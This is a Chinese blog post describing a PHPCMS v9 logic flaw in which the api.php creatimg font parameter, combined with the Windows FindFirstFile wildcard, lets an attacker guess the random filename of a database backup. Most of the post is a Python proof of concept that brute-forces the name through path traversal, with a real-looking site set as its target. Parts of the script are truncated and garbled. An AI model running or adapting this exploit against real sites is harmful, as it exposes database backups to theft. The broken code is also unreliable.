php逻辑漏洞,PHPCMSv9逻辑漏洞导致备份文件名可猜测

简要描述

一处逻辑漏洞导致备份文件名可猜测,影响phpcmsv9所有版本。

一、漏洞原理

我们知道windows的FindFirstFile(API)有个特性就是可以把<

二、漏洞形成

程序文件apicreatimg.php里的$fontfile变量可控随后便进入file_exists函数判断。当文件存在和不存在时所返回的页面是不一样的。所以完全可以利用这个点来把长达30多位随机字母名称的备份文件推算出来(备份文件在web目录)。

26e94bc36e51e14d0558e819f463c9d9.png

三、你们想要的漏洞POC

#!/usr/bin/env python

#coding=utf-8

import urllib2

def check(url):

mark = True

req = urllib2.Request(url)

req.add_header('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')

response = urllib2.urlopen(req)

content = response.read()

if 'Cannot' in content:

mark = False

return mark

def guest(target):

arr = []

num = map(chr, range(48, 58))

alpha = map(chr, range(97, 123))

exploit = '%s/api.php?

op=creatimg&txt=dysec&font=/../../../../caches/bakup/default/%s%s<<.sql>

while True:

for char in num:

if check(exploit % (target, ''.join(arr), char)):

arr.append(char)

continue

if len(arr) 

for char in alpha:

if check(exploit % (target, ''.join(arr), char)):

arr.append(char)

continue

elif len(arr) == 20:

arr.append('_db_')

elif len(arr)== 29:

arr.append('_1.sql')

break

if len(arr) 

print '[*]not find!'

return

print '[*]find: %s/caches/bakup/default/%s' % (target, ''.join(arr))

if __name__ == "__main__":

url = '//security.douyu.com'

#test

guest(url)

四、POC运行效果

a3b8462535431b64da81f511138f3cbc.png

ffd45e4c1c2fff9782a8e2e3e3a04789.png

本文最后更新于2018-9-15,已超过 1 年没有更新,如果文章内容或图片资源失效,请留言反馈,我们会及时处理,谢谢!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值